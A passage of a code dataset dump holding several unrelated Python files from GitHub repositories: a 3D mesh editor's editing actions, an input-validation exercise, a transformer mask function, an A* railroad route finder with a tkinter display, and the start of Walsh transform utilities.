self.arrowStart\n action()\n self.adjustCompleteAction = arrowEndSet\n self.adjustCompleteAction = arrowStartSet\n\n def selectAtCursor(self, multiple=False, behindSelection=False):\n self.selectAtCursorOnDraw = True\n self.selectMultiple = multiple\n self.selectBehindSelection = behindSelection\n\n\n # Mesh editing:\n\n def divideEdge(self):\n if self.state.selectMode != EditorState.SELECT_VERTICES \\\n or len(self.state.selectedVertices) != 2:\n print(\"2 vertices must be selected\")\n else:\n print(\"Divide edge\")\n v1 = self.state.selectedVertices[0].vertex\n v2 = self.state.selectedVertices[1].vertex\n mesh = self.state.selectedVertices[0].editorObject.getMesh()\n\n # faces that have both vertices\n faces = self.findSharedFaces(v1, v2)\n\n if len(faces) < 2:\n print(\"Please select the 2 vertices of an edge.\")\n return\n if len(faces) > 2:\n print(\"WARNING: \" + len(faces) + \" have these vertices!\")\n print(\"This should never happen.\")\n # continue and hope it works\n\n newVertex = MeshVertex( (v1.getPosition() + v2.getPosition()) / 2 )\n mesh.addVertex(newVertex)\n\n for face in faces:\n index1 = face.indexOf(v1)\n index2 = face.indexOf(v2)\n numVertices = len(face.getVertices())\n\n # index1 should be the lowest\n if index1 > index2:\n temp = index1\n index1 = index2\n index2 = temp\n\n # make sure indices are consecutive\n insertIndex = 0\n if index2 - index1 == 1:\n insertIndex = index2\n elif index1 == 0 and index2 == numVertices - 1:\n insertIndex = index1\n else:\n continue\n\n face.addVertex(newVertex, index=insertIndex)\n\n\n def makeEdge(self):\n if self.state.selectMode != EditorState.SELECT_VERTICES \\\n or len(self.state.selectedVertices) != 2:\n print(\"2 vertices must be selected\")\n else:\n print(\"Make edge\")\n v1 = self.state.selectedVertices[0].vertex\n v2 = self.state.selectedVertices[1].vertex\n mesh = self.state.selectedVertices[0].editorObject.getMesh()\n\n # faces that have both vertices\n faces = self.findSharedFaces(v1, v2)\n\n if len(faces) != 1:\n print(\"Please select 2 unconnected vertices on a face.\")\n return\n\n face = faces[0]\n\n # divide vertices into 2 new faces\n\n index1 = face.indexOf(v1)\n index2 = face.indexOf(v2)\n numVertices = len(face.getVertices())\n\n # list of MeshFaceVertices\n face1Vertices = [ ]\n face2Vertices = [ ]\n\n inFace1 = True\n\n for i in range(0, numVertices):\n if inFace1:\n face1Vertices.append(face.getVertices()[i])\n else:\n face2Vertices.append(face.getVertices()[i])\n if i == index1 or i == index2:\n inFace1 = not inFace1\n if inFace1:\n face1Vertices.append(face.getVertices()[i])\n else:\n face2Vertices.append(face.getVertices()[i])\n\n newFace1 = MeshFace()\n for v in face1Vertices:\n newFace1.addVertex(v.vertex, v.textureVertex)\n newFace2 = MeshFace()\n for v in face2Vertices:\n newFace2.addVertex(v.vertex, v.textureVertex)\n\n newFace1.copyMaterialInfo(face)\n newFace2.copyMaterialInfo(face)\n mesh.removeFace(face)\n\n mesh.addFace(newFace1)\n mesh.addFace(newFace2)\n\n\n def combineVertices(self):\n if self.state.selectMode != EditorState.SELECT_VERTICES \\\n or len(self.state.selectedVertices) != 2:\n print(\"2 vertices must be selected\")\n else:\n print(\"Combine vertices\")\n v1 = self.state.selectedVertices[0].vertex\n v2 = self.state.selectedVertices[1].vertex\n mesh = self.state.selectedVertices[0].editorObject.getMesh()\n if mesh != self.state.selectedVertices[1].editorObject.getMesh():\n print(\"Please select 2 vertices on the same mesh\")\n return\n\n # faces that have both vertices\n sharedFaces = self.findSharedFaces(v1, v2)\n\n # replace all v2 references with v1\n\n v2References = list(v2.getReferences())\n for face in v2References:\n for vertex in face.getVertices():\n if vertex.vertex == v2:\n face.replaceVertex(vertex,\n MeshFaceVertex(v1,\n vertex.textureVertex))\n\n # remove duplicate v1 vertices\n for face in sharedFaces:\n vertexIndex = face.indexOf(v1)\n vertex = face.getVertices()[vertexIndex]\n face.removeVertex(vertex) # remove only first reference\n v1.addReference(face)\n\n mesh.removeVertex(v2)\n del self.state.selectedVertices[1]\n\n\n def combineFaces(self):\n if self.state.selectMode != EditorState.SELECT_VERTICES \\\n or len(self.state.selectedVertices) != 2:\n print(\"2 vertices must be selected\")\n else:\n print(\"Combine faces\")\n v1 = self.state.selectedVertices[0].vertex\n v2 = self.state.selectedVertices[1].vertex\n mesh = self.state.selectedVertices[0].editorObject.getMesh()\n\n # faces that have both vertices\n faces = self.findSharedFaces(v1, v2)\n\n if len(faces) != 2:\n print(\"The vertices of an edge dividing 2 faces must be \"\n \"selected\")\n return\n\n newFace = MeshFace()\n\n faceNum = 0\n for face in faces:\n numVertices = len(face.getVertices())\n v1Index = face.indexOf(v1)\n v2Index = face.indexOf(v2)\n # make sure there are vertices moving from v1 to v2\n # otherwise swap them\n if v1Index - v2Index != 1 and \\\n not (v2Index == numVertices - 1 and v1Index == 0):\n temp = v1Index\n v1Index = v2Index\n v2Index = temp\n\n i = v1Index\n while i != v2Index:\n newVertex = face.getVertices()[i]\n newFace.addVertex(newVertex.vertex, newVertex.textureVertex)\n i += 1\n i %= numVertices\n\n faceNum += 1\n\n newFace.copyMaterialInfo(faces[0])\n mesh.removeFace(faces[0])\n mesh.removeFace(faces[1])\n mesh.addFace(newFace)\n\n self.state.world.removeUnusedMaterials()\n\n\n # find faces that have both vertices\n def findSharedFaces(self, v1, v2):\n faces = list(v1.getReferences())\n\n faces2 = v2.getReferences()\n remove = [ ]\n for face in faces:\n if face not in faces2:\n remove.append(face)\n for face in remove:\n faces.remove(face)\n\n return faces\n\n\n def clip(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Objects must be selected\")\n else:\n self.setupArrowAction(self.clipSelected)\n else:\n print(\"Objects must be selected\")\n\n def clipSelected(self):\n print(\"Clip\")\n planePoint = self.arrowStart\n planeNormal = (planePoint - self.arrowEnd).normalize()\n\n objectsToRemove = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n oClone = o.clone()\n self.state.objects.append(oClone)\n \n # translate everything relative to mesh\n relativePoint = planePoint - o.getPosition()\n \n self.clipMesh(o.getMesh(), relativePoint, planeNormal)\n self.clipMesh(oClone.getMesh(), relativePoint, -planeNormal)\n \n if o.getMesh().isEmpty():\n objectsToRemove.append(o)\n if oClone.getMesh().isEmpty():\n objectsToRemove.append(oClone)\n for o in objectsToRemove:\n print(\"Removing object\")\n self.state.deselect(o)\n self.state.objects.remove(o)\n\n # planePoint must be relative to mesh\n # the planeNormal should point in the direction of the half to KEEP\n def clipMesh(self, mesh, planePoint, planeNormal):\n print(\"Clipping mesh...\")\n if planeNormal.isCloseToZero():\n print(\"Cannot clip: clip plane normal is zero!\")\n return\n\n # if something goes wrong, use this backup to restore the original mesh\n # data\n # TODO: this is never used!\n backupMesh = mesh.clone()\n\n INSIDE = 0\n ON_PLANE = 1 # counts as inside\n OUTSIDE = 2\n\n # pairs of vectors representing edges that have been created by clipping\n # faces. these edges will be used to create new faces\n newFaceEdges = [ ]\n\n facesToRemove = [ ]\n\n for face in mesh.getFaces():\n # mark each vertex of the face as inside, outside, or on the plane\n # of the clip area...\n\n # an array of INSIDE's, OUTSIDE's, or ON_PLANE's; one for each\n # vertex\n vertexLocations = [ ]\n hasInside = False\n hasOutside = False\n hasOnPlane = False\n for faceVertex in face.getVertices():\n vector = faceVertex.vertex.getPosition()\n if vector.isClose(planePoint):\n vertexLocations.append(ON_PLANE)\n hasOnPlane = True\n continue # to next vertex\n angle = (vector - planePoint).normalize()\\\n .angleBetween(planeNormal)\n if vectorMath.isclose(angle, math.pi / 2): # 90 degrees\n vertexLocations.append(ON_PLANE)\n hasOnPlane = True\n elif angle < math.pi / 2 or angle > math.pi * 3 / 2:\n vertexLocations.append(INSIDE)\n hasInside = True\n else:\n vertexLocations.append(OUTSIDE)\n hasOutside = True\n\n if (not hasInside) and (not hasOutside): # all vertices are ON_PLANE\n if planeNormal.isClose(face.getNormal()):\n facesToRemove.append(face)\n elif planeNormal.isClose(-face.getNormal()):\n pass\n else:\n print(\"WARNING: Face and plane are coplanar, but normals\"\n \" do not match\")\n continue # to next face\n\n if hasOnPlane: # some vertices are ON_PLANE\n # search for edges on the plane and add them to the list\n for i in range(0, len(vertexLocations)):\n # -1 is a valid index\n if vertexLocations[i] == ON_PLANE and \\\n vertexLocations[i-1] == ON_PLANE:\n edge = (face.getVertices()[i].vertex.getPosition(),\n face.getVertices()[i-1].vertex.getPosition())\n self.addUniqueEdge(edge, newFaceEdges)\n # don't continue; clip as normal\n\n if not hasInside: # all vertices are OUTISDE or ON_PLANE\n facesToRemove.append(face) # face is entirely outside plane\n continue # to next face\n\n if hasInside and hasOutside: # some vertices INSIDE, some OUTSIDE\n # partly inside plane and partly outside; clip the face\n\n # rotate/translate both the face and clip plane so the face is\n # coplanar with the x = 0 plane\n # vertex 0 will be the origin\n origin = face.getVertices()[0].vertex.getPosition()\n faceNormalRotate = face.getNormal().rotation()\n\n translatedPlanePoint = planePoint - origin\n rotatedPlane = vectorMath.inverseRotatePlane(translatedPlanePoint,\n planeNormal, -faceNormalRotate)\n planeLineConstants = Vector(rotatedPlane[1],\n rotatedPlane[2],\n rotatedPlane[3])\n\n # remove vertices outside the clip plane\n # any edges between inside and outside vertices will be added\n # to edgesToClip\n verticesToRemove = [ ]\n vertexInsertationIndices = [ ]\n edgesToClip = [ ]\n i = 0\n for location in vertexLocations:\n if location == OUTSIDE:\n verticesToRemove.append(face.getVertices()[i].vertex)\n if vertexLocations[i-1] != OUTSIDE:\n edge = (face.getVertices()[i].vertex.getPosition(),\n face.getVertices()[i-1].vertex.getPosition())\n edgesToClip.append(edge)\n vertexInsertationIndices.append(i)\n else:\n if vertexLocations[i-1] == OUTSIDE:\n edge = (face.getVertices()[i].vertex.getPosition(),\n face.getVertices()[i-1].vertex.getPosition())\n edgesToClip.append(edge)\n vertexInsertationIndices.append(i)\n i += 1\n newVertices = [ ]\n # create new vertices along any edges to clip,\n # but don't give them a position yet.\n # reverse array to prevent lower indices from pushing up higher\n # indices\n for i in reversed(vertexInsertationIndices):\n newVertex = mesh.addVertex()\n face.addVertex(newVertex, index=i)\n newVertices.insert(0, newVertex)\n for v in verticesToRemove:\n face.removeVertex(face.findFaceVertex(v))\n\n if len(edgesToClip) != 2:\n print(\"WARNING: Not 2 edges to clip for this face!\")\n\n # there is a line where the face and the clip plane intersect\n # the face has already been oriented to x=0, so the intersection\n # is easy to calculate: for plane ax+by+cz+d=0, the intersection\n # with x=0 is by+cz+d=0.\n # the edges that cross the clip plane will be clipped by\n # creating new vertices where they intersect the line. the\n # vertices will then be rotated back.\n i = 0\n for edge in edgesToClip:\n # vector 0 and vector 1 are the two points of the rotated\n # edge. after rotating the edges, x values for all will be\n # 0 (not always exact because of float inaccuracies)\n v0 = (edge[0] - origin).inverseRotate(-faceNormalRotate)\n v1 = (edge[1] - origin).inverseRotate(-faceNormalRotate)\n assert vectorMath.isclose(v0.x, 0)\n assert vectorMath.isclose(v1.x, 0)\n # equation for the line: ax+by+c=0\n # represented as a Vector of homogeneous coordinates\n edgeLineConstants = Vector( v0.z - v1.z,\n v1.y - v0.y,\n v0.y*v1.z - v1.y*v0.z )\n # TODO: divide by zero errors here:\n intersectionPoint = edgeLineConstants.cross(\n planeLineConstants).homogeneousTo2d()\n intersectionPoint = Vector(0,\n intersectionPoint.x,\n intersectionPoint.y)\n # undo any rotations\n intersectionPoint = intersectionPoint.rotate(\n faceNormalRotate) + origin\n # this is where the position of new vertices is set\n # TODO: this position is not always right\n newVertices[i].setPosition(intersectionPoint)\n i += 1\n\n edge = ( newVertices[0].getPosition(),\n newVertices[1].getPosition() )\n self.addUniqueEdge(edge, newFaceEdges)\n\n verticesToRemove = [ ]\n i = 0\n for vertex in face.getVertices():\n if vertex.vertex.getPosition().isClose(\n face.getVertices()[i - 1].vertex.getPosition()):\n verticesToRemove.append(vertex)\n i += 1\n for v in verticesToRemove:\n face.removeVertex(v)\n # end if hasInside and hasOutside\n # end for face in mesh.getFaces()\n\n for face in facesToRemove:\n mesh.removeFace(face)\n\n # special case: the plane was coplanar with a face and all faces were\n # deleted\n mesh.removeUnusedVertices()\n if mesh.isEmpty():\n return\n\n # construct new faces from all of the edges that have been created\n while not len(newFaceEdges) == 0:\n newFace = mesh.addFace()\n firstVertex = mesh.addVertex(MeshVertex(newFaceEdges[0][0]))\n newFace.addVertex(firstVertex)\n prevVertex = MeshVertex(newFaceEdges[0][1])\n del newFaceEdges[0]\n\n while not firstVertex.getPosition().isClose(\n prevVertex.getPosition()):\n mesh.addVertex(prevVertex)\n newFace.addVertex(prevVertex)\n foundEdge = None\n for edge in newFaceEdges:\n if edge[0].isClose(prevVertex.getPosition()):\n prevVertex = MeshVertex(edge[1])\n foundEdge = edge\n break\n elif edge[1].isClose(prevVertex.getPosition()):\n prevVertex = MeshVertex(edge[0])\n foundEdge = edge\n break\n if foundEdge is None:\n print(\"WARNING: Cannot complete face!\",\n len(newFace.getVertices()), \"vertices so far.\")\n print(\"Vertices: \", str(newFace.getVertices()))\n break\n else:\n newFaceEdges.remove(foundEdge)\n\n if len(newFace.getVertices()) < 3:\n print(\"WARNING: Invalid face!\")\n print(\"Vertices: \", str(newFace.getVertices()))\n mesh.removeFace(newFace)\n else:\n print(\"Completed face with\", len(newFace.getVertices()),\n \"vertices\")\n angle = newFace.getNormal().angleBetween(planeNormal)\n if angle < math.pi / 2 or angle > math.pi * 3 / 2:\n newFace.reverse()\n newFace.copyMaterialInfo(mesh.getFaces()[0])\n # end while not len(newFaceEdges) == 0\n\n mesh.cleanUp()\n self.state.world.removeUnusedMaterials()\n print(\"Done clipping\")\n # end def clipMesh\n\n\n def carve(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Objects must be selected\")\n else:\n print(\"Carve\")\n objectsToCarve = [ ]\n for editorObject in self.state.objects:\n if (not editorObject in self.state.selectedObjects) \\\n and editorObject.getMesh() is not None:\n boundsA = editorObject.getTranslatedBounds()\n for selectedObject in self.state.selectedObjects:\n if selectedObject.getMesh() is not None:\n boundsB = selectedObject.getTranslatedBounds()\n if vectorMath.boxesIntersect(boundsA, boundsB):\n objectsToCarve.append(editorObject)\n break\n for objectToCarve in objectsToCarve:\n for selectedObject in self.state.selectedObjects:\n if selectedObject.getMesh() is not None:\n for face in selectedObject.getMesh().getFaces():\n planePoint = face.getVertices()[0].vertex \\\n .getPosition()\n planePoint += selectedObject.getPosition()\n planePoint -= objectToCarve.getPosition()\n planeNormal = face.getNormal()\n objectClone = objectToCarve.clone()\n self.clipMesh(objectClone.getMesh(),\n planePoint, planeNormal)\n if not objectClone.getMesh().isEmpty():\n self.state.objects.append(objectClone)\n self.clipMesh(objectToCarve.getMesh(),\n planePoint, -planeNormal)\n if objectToCarve.getMesh().isEmpty():\n break\n if objectToCarve.getMesh().isEmpty():\n break\n if objectToCarve.getMesh().isEmpty():\n break\n for objectToCarve in list(objectsToCarve):\n self.state.objects.remove(objectToCarve)\n else:\n print(\"Objects must be selected\")\n\n\n # add the edge to the list only if it hasn't already been added\n # check for reverse order of vertices\n def addUniqueEdge(self, edge, edgeList):\n for existingEdge in edgeList:\n if existingEdge[0].isClose(edge[0]) and \\\n existingEdge[1].isClose(edge[1]):\n return\n if existingEdge[0].isClose(edge[1]) and \\\n existingEdge[1].isClose(edge[0]):\n return\n edgeList.append(edge)\n\n\n # ADJUST MODE ACTIONS:\n\n def selectAdjustAxis(self, axis):\n self.selectedAxes = (self.selectedAxes[1], axis)\n\n def increaseGrid(self):\n gridType = self.adjustor.gridType()\n if self.adjustor.gridType() == Adjustor.ROTATE:\n current = self.state.getGridSize(gridType)\n for size in EditorActions.ROTATE_GRID_SIZES:\n if size > current:\n self.state.setGridSize(gridType, size)\n break\n else:\n self.multiplyGrid(2.0)\n\n def decreaseGrid(self):\n gridType = self.adjustor.gridType()\n if self.adjustor.gridType() == Adjustor.ROTATE:\n current = self.state.getGridSize(gridType)\n previous = EditorActions.ROTATE_GRID_SIZES[0]\n for size in EditorActions.ROTATE_GRID_SIZES:\n if size >= current:\n self.state.setGridSize(gridType, previous)\n break\n previous = size\n else:\n self.multiplyGrid(0.5)\n\n def setGrid(self, value):\n self.state.setGridSize(self.adjustor.gridType(), float(value))\n\n def multiplyGrid(self, factor):\n gridType = self.adjustor.gridType()\n self.state.setGridSize(gridType,\n self.state.getGridSize(gridType) * factor)\n\n def toggleSnap(self):\n if self.state.snapEnabled:\n self.state.snapEnabled = False\n else:\n self.state.snapEnabled = True\n self.adjustMouseMovement = (0, 0)\n\n def snapToGrid(self):\n print(\"Snap to grid\")\n axes = self.selectedAxes\n value = list(self.adjustor.getAxes())\n grid = self.state.getGridSize(self.adjustor.gridType())\n value[axes[0]] = round(value[axes[0]] / grid) * grid\n value[axes[1]] = round(value[axes[1]] / grid) * grid\n self.adjustor.setAxes(tuple(value))\n\n def adjustToOrigin(self):\n print(\"To origin\")\n self.adjustor.setAxes((0.0, 0.0, 0.0))\n\n def toggleRelativeCoordinates(self):\n self.state.relativeCoordinatesEnabled = \\\n not self.state.relativeCoordinatesEnabled\n\n def toggleAxisLock(self):\n self.state.axisLockEnabled = not self.state.axisLockEnabled\n\n def setAdjustAxisValue(self, axis, number):\n value = list(self.adjustor.getAxes())\n origin = (0, 0, 0)\n if self.state.relativeCoordinatesEnabled:\n origin = self.adjustorOriginalValue\n value[axis] = number + origin[axis]\n self.adjustor.setAxes(tuple(value))\n\n def adjustToCreatePosition(self):\n if self.adjustor.gridType() == Adjustor.TRANSLATE:\n print(\"To create position\")\n self.adjustor.setAxes(self.state.createPosition.getTuple())\n elif self.adjustor.gridType() == Adjustor.ROTATE:\n print(\"Can't rotate to create position\")\n elif self.adjustor.gridType() == Adjustor.SCALE:\n print(\"Can't scale to create position\")\n\n def completeAdjust(self):\n self.inAdjustMode = False\n self.editorMain.unlockMouse()\n adjustor = self.adjustor\n if self.adjustCompleteAction is not None:\n action = self.adjustCompleteAction\n self.adjustCompleteAction = None\n action()\n adjustor.complete()\n # prevent issues if complete action involves a new adjust mode:\n if adjustor == self.adjustor:\n self.adjustor = None\n\n\n # MATERIALS:\n\n def setCurrentMaterial(self, name):\n if name is not None and name != \"\":\n foundMaterial = self.state.world.findMaterial(name)\n\n if foundMaterial is not None:\n self.state.setCurrentMaterial(foundMaterial)\n self.state.world.updateMaterial(self.state.currentMaterial)\n else:\n matRef = MaterialReference(name)\n self.state.world.addMaterial(matRef)\n self.state.setCurrentMaterial(matRef)\n else:\n self.state.world.updateMaterial(self.state.currentMaterial)\n\n def paint(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n else:\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n for f in o.getMesh().getFaces():\n self.setFaceMaterial(f, self.state.currentMaterial)\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n print(\"Cannot paint vertices\")\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n else:\n for f in self.state.selectedFaces:\n self.setFaceMaterial(f.face, self.state.currentMaterial)\n self.state.world.removeUnusedMaterials()\n\n def setFaceMaterial(self, face, materialReference):\n face.setMaterial(materialReference)\n\n def translateMaterials(self):\n if self.state.selectMode == EditorState.SELECT_FACES and \\\n len(self.state.selectedFaces) != 0:\n faces = [f.face for f in self.state.selectedFaces]\n self.setupAdjustMode(MaterialTranslateAdjustor(faces))\n elif self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) != 0:\n faces = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n faces += o.getMesh().getFaces()\n self.setupAdjustMode(MaterialTranslateAdjustor(faces))\n else:\n print(\"Faces must be selected\")\n\n def rotateMaterials(self):\n if self.state.selectMode == EditorState.SELECT_FACES and \\\n len(self.state.selectedFaces) != 0:\n faces = [f.face for f in self.state.selectedFaces]\n self.setupAdjustMode(MaterialRotateAdjustor(faces))\n elif self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) != 0:\n faces = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n faces += o.getMesh().getFaces()\n self.setupAdjustMode(MaterialRotateAdjustor(faces))\n else:\n print(\"Faces must be selected\")\n\n def scaleMaterials(self):\n if self.state.selectMode == EditorState.SELECT_FACES and \\\n len(self.state.selectedFaces) != 0:\n faces = [f.face for f in self.state.selectedFaces]\n self.setupAdjustMode(MaterialScaleAdjustor(faces))\n elif self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) != 0:\n faces = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n faces += o.getMesh().getFaces()\n self.setupAdjustMode(MaterialScaleAdjustor(faces))\n else:\n print(\"Faces must be selected\")\n\n","repo_name":"vanjac/three","sub_path":"threelib/edit/editorActions.py","file_name":"editorActions.py","file_ext":"py","file_size_in_byte":56915,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"74151972712","text":"def read_int(prompt, min, max):\n #\n # Write your code here.\n #\n while True:\n \n try:\n number = input(prompt)\n assert int(number) <= max and int(number) >= min\n return number\n \n \n \n except AssertionError:\n print(number,'is not in the range')\n except ValueError:\n print(number, 'is not an integer number')\n \n\nv = read_int(\"Enter a integer number from -10 to 10: \", -10, 10)\n\nprint(\"The number is:\", v)\n","repo_name":"gonzalonata06/supercomputo_python","sub_path":"modulo2_essentials2/reading_ints.py","file_name":"reading_ints.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"27024032338","text":"#!/usr/bin/env python3\n\"\"\"Module create_masks.\"\"\"\nimport tensorflow.compat.v2 as tf\n\n\ndef create_masks(inputs, target):\n '''\n creates all masks for training/validation\n :inputs: is a tf.Tensor of shape (batch_size, seq_len_in)\n that contains the input sentence\n :target: is a tf.Tensor of shape (batch_size, seq_len_out)\n that contains the target sentence\n '''\n # Encoder padding mask\n encoder_mask = tf.cast(tf.math.equal(inputs, 0), dtype=tf.float32)\n encoder_mask = tf.expand_dims(encoder_mask, axis=1)\n encoder_mask = tf.expand_dims(encoder_mask, axis=1)\n\n # Look ahead mask\n look_ahead_mask = tf.cast(tf.math.greater(\n tf.range(tf.shape(target)[1]), tf.range(\n tf.shape(inputs)[1])[:, tf.newaxis]), dtype=tf.float32)\n look_ahead_mask = tf.expand_dims(look_ahead_mask, axis=1)\n\n # Decoder padding mask\n decoder_mask = tf.cast(tf.math.equal(target, 0), dtype=tf.float32)\n decoder_mask = tf.expand_dims(decoder_mask, axis=1)\n decoder_mask = tf.expand_dims(decoder_mask, axis=1)\n\n # Combine the masks\n combined_mask = tf.maximum(look_ahead_mask, decoder_mask)\n\n return encoder_mask, combined_mask, decoder_mask\n","repo_name":"luisobregon21/holbertonschool-machine_learning","sub_path":"supervised_learning/0x12-transformer_apps/4-create_masks.py","file_name":"4-create_masks.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"37532573917","text":"import sys, time\r\nimport time\r\nimport math\r\nfrom heapq import heappush, heappop\r\nfrom tkinter import Tk, Canvas\r\n\r\ndef calcDistance(x1, y1, x2, y2): #(lattitude, longitude)\r\n radius = 3958.755866\r\n\r\n y1 = float(y1)\r\n x1 = float(x1)\r\n y2 = float(y2)\r\n x2 = float(x2)\r\n print(str(x1)+\" \"+str(y1)+\" \"+str(x2)+\" \"+str(y2))\r\n y1 *= math.pi / 180\r\n x1 *= math.pi / 180\r\n y2 *= math.pi / 180\r\n x2 *= math.pi / 180\r\n\r\n return math.acos(math.sin(x1) * math.sin(x2) + math.cos(x1) * math.cos(x2) * math.cos(y2 - y1)) * radius\r\n\r\ndef findpath(dictionary, end, start, distance):\r\n parent = dictionary.get(end)\r\n array = []\r\n array.append(end)\r\n array.append(parent)\r\n while parent != start:\r\n parent = dictionary.get(parent)\r\n array.append(parent)\r\n length = len(array)-1\r\n array = array[::-1]\r\n print(\"Distance Traveled: \" + str(distance) + \" miles\")\r\n\r\n #print(\"The number of cities: \" + str(length))\r\n return(array)\r\n\r\ndef a_star_search(city1,city2,canvas, minY, minX):\r\n startX = dictNodes.get(city1)[0]\r\n startY = dictNodes.get(city1)[1]\r\n x1End = dictNodes.get(city2)[0]\r\n y1End = dictNodes.get(city2)[1]\r\n update = 0\r\n openS = []\r\n closedS = {}\r\n heappush(openS, (calcDistance(startX, startY,x1End,y1End),city1,0,None))\r\n while(len(openS) != 0):\r\n tup = heappop(openS)\r\n name = tup[1]\r\n d = tup[2]\r\n aList = dictEdges.get(name)\r\n if(name == city2):\r\n closedS[name] = tup[3]\r\n shortPath = findpath(closedS,city2, city1, tup[0])\r\n break\r\n for each in aList:\r\n y1 = dictNodes.get(name)[0]\r\n x1 = dictNodes.get(name)[1]\r\n y2 = dictNodes.get(each)[0]\r\n x2 = dictNodes.get(each)[1]\r\n coorY = ((float((y2)) - minY)*(-15))+750\r\n coorX = ((float((x2)) - minX)*(15))+250\r\n coorY1 = ((float((y1)) - minY)*(-15))+750\r\n coorX1 = ((float((x1)) - minX)*(15))+250\r\n aNewD = d + calcDistance(y1,x1,y2,x2)\r\n someD = calcDistance(y2,x2,y1End,x1End)\r\n if each in closedS:\r\n continue\r\n heappush(openS, (someD+aNewD,each, aNewD, name))\r\n\r\n canvas.create_oval(float(coorX)+2, float(coorY)+2, float(coorX)-2, float(coorY)-2, fill=\"red\")\r\n closedS[name] = tup[3]\r\n canvas.create_oval(float(coorX1)+2, float(coorY1)+2, float(coorX1)-2, float(coorY1)-2, fill=\"green\")\r\n if(update%1000 == 0):\r\n canvas.update()\r\n update+=1\r\n\r\n for x in range(0, len(shortPath)-2):\r\n coorX1 = ((float((dictNodes.get(shortPath[x])[0])) - minY)*(-15))+750\r\n coorY1 = ((float((dictNodes.get(shortPath[x])[1])) - minX)*(15))+250\r\n coorX2 = ((float((dictNodes.get(shortPath[x+1])[0])) - minY)*(-15))+750\r\n coorY2 = ((float((dictNodes.get(shortPath[x+1])[1])) - minX)*(15))+250\r\n canvas.create_line(coorY1, coorX1, coorY2, coorX2, fill=\"blue\", width=2)\r\n if(update % 20 == 0):\r\n canvas.update()\r\n update+=1\r\n\r\nstartTime = time.clock()\r\nromNodes = \"usnodes.txt\"\r\ndictNodes = {}\r\nrN = open(romNodes, \"r\").readlines()\r\nfor x in range(21782):\r\n line = rN[x]\r\n coorList = line.split(\" \")\r\n # G.add_node(str(coorList[0]))\r\n dictNodes[coorList[0]] = (float(coorList[1]),float(coorList[2]))\r\nromEdges = \"usedges.txt\"\r\nrE = open(romEdges, \"r\").readlines()\r\ndictEdges = {}\r\nfor line in rE:\r\n name1 = line.split()\r\n edge1 = (name1[0])\r\n edge2 = (name1[1])\r\n if edge1 not in dictEdges:\r\n dictEdges[edge1] = [edge2]\r\n else:\r\n dictEdges[edge1].append(edge2)\r\n if edge2 not in dictEdges:\r\n dictEdges[edge2] = [edge1]\r\n else:\r\n dictEdges[edge2].append(edge1)\r\n\r\n#------------------This is to make the dictionary for the actual city names--------------------#\r\n\r\nnamesLookup = {}\r\nrrNodeCity = \"usfullnames.txt\"\r\nCityNames = open(rrNodeCity, \"r\").readlines()\r\ncount = 0\r\ntheCityNames = CityNames\r\nfor line in theCityNames:\r\n indvNames = line.split()\r\n if(len(indvNames) == 3):\r\n name = indvNames[1] + \"_\" +indvNames[2]\r\n namesLookup[name] = indvNames[0]\r\n count +=1\r\n else:\r\n namesLookup[indvNames[1]] = indvNames[0]\r\ncityOne = sys.argv[1]\r\ncityTwo = sys.argv[2]\r\ntotald = 0\r\nfor item in dictNodes.keys():\r\n i = dictNodes[item]\r\n for edge in dictEdges[item]:\r\n v = dictNodes[edge]\r\n y1 = i[0]\r\n x1 = i[1]\r\n y2 = v[0]\r\n x2 = v[1]\r\n totald += calcDistance(x1, y1, x2, y2)\r\nprint(\"Total Miles of Railroad: \"+str(totald))\r\ntheTK = Tk()\r\ncanvas = Canvas(theTK, width=1500,height=1500, background=\"white\")\r\ncanvas.pack()\r\n\r\nsmallestX = 1000000000000\r\nsmallestY = 1000000000000\r\nscaled = {}\r\nfor name in dictNodes:\r\n if (float(dictNodes[name][0])) 1 and (n & (n - 1)) == 0\n\n\ndef reverse_bits(n, bits_count):\n reversed_value = 0\n\n for i in range(bits_count):\n next_bit = n & 1\n n >>= 1\n\n reversed_value <<= 1\n reversed_value |= next_bit\n\n return reversed_value\n\n\ndef gray_to_binary(num):\n mask = num\n while mask != 0:\n mask >>= 1\n num ^= mask\n\n return num\n\n\ndef dwt(data, direction=1):\n time_offset = 0.001\n length = len(data)\n\n transformed_result = []\n for n in range(length):\n temp = sum(\n [\n data[i] * walsh_function(\n n if direction == 1 else i, (i if direction == 1 else n) / length + time_offset, length\n ) for i in range(length)\n ]\n )\n\n transformed_result.append(temp)\n\n if direction == 1:\n transformed_result = list(map(lambda x: x / length, transformed_result))\n\n return transformed_result\n\n\ndef rademacher_function(t, k):\n x = np.sin(2 ** k * np.pi * t)\n\n return 1 if x > 0 else -1\n\n\ndef walsh_function(n, t, length):\n r = int(np.log2(length))\n rademacher_values = \\\n [rademacher_function(t, k) ** xor_bit(bit(n, k - 1), bit(n, k)) for k in range(1, r + 1)]\n\n return reduce(lambda x, y: x * y, rademacher_values)\n\n\ndef xor_bit(a, b):\n return +(bool(a) ^ bool(b))\n\n\ndef bit(num, pos):\n if num == 0:\n return 0\n\n mask = 1\n mask <<= pos\n\n return 1 if num & mask != 0 else 